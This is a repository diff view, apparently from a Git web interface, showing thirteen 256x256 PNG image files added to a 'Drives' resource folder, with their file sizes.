BIN
src/main/resources/images/diverse/Drives/28.png

After

Width: 256  |  Height: 256  |  Size: 14 KiB

BIN
src/main/resources/images/diverse/Drives/29.png

After

Width: 256  |  Height: 256  |  Size: 16 KiB

BIN
src/main/resources/images/diverse/Drives/30.png

After

Width: 256  |  Height: 256  |  Size: 23 KiB

BIN
src/main/resources/images/diverse/Drives/31.png

After

Width: 256  |  Height: 256  |  Size: 19 KiB

BIN
src/main/resources/images/diverse/Drives/33.png

After

Width: 256  |  Height: 256  |  Size: 18 KiB

BIN
src/main/resources/images/diverse/Drives/34.png

After

Width: 256  |  Height: 256  |  Size: 32 KiB

BIN
src/main/resources/images/diverse/Drives/37.png

After

Width: 256  |  Height: 256  |  Size: 28 KiB

BIN
src/main/resources/images/diverse/Drives/38.png

After

Width: 256  |  Height: 256  |  Size: 40 KiB

BIN
src/main/resources/images/diverse/Drives/39.png

After

Width: 256  |  Height: 256  |  Size: 40 KiB

BIN
src/main/resources/images/diverse/Drives/40.png

After

Width: 256  |  Height: 256  |  Size: 41 KiB

BIN
src/main/resources/images/diverse/Drives/41.png

After

Width: 256  |  Height: 256  |  Size: 40 KiB

BIN
src/main/resources/images/diverse/Drives/42.png

After

Width: 256  |  Height: 256  |  Size: 15 KiB

BIN
src/main/resources/images/diverse/Drives/43.png

After

Width: 256  |  Height: 256  |  Size: 17 KiB

Some files were not shown because too many files changed in this diff

Loading…
Cancel
Save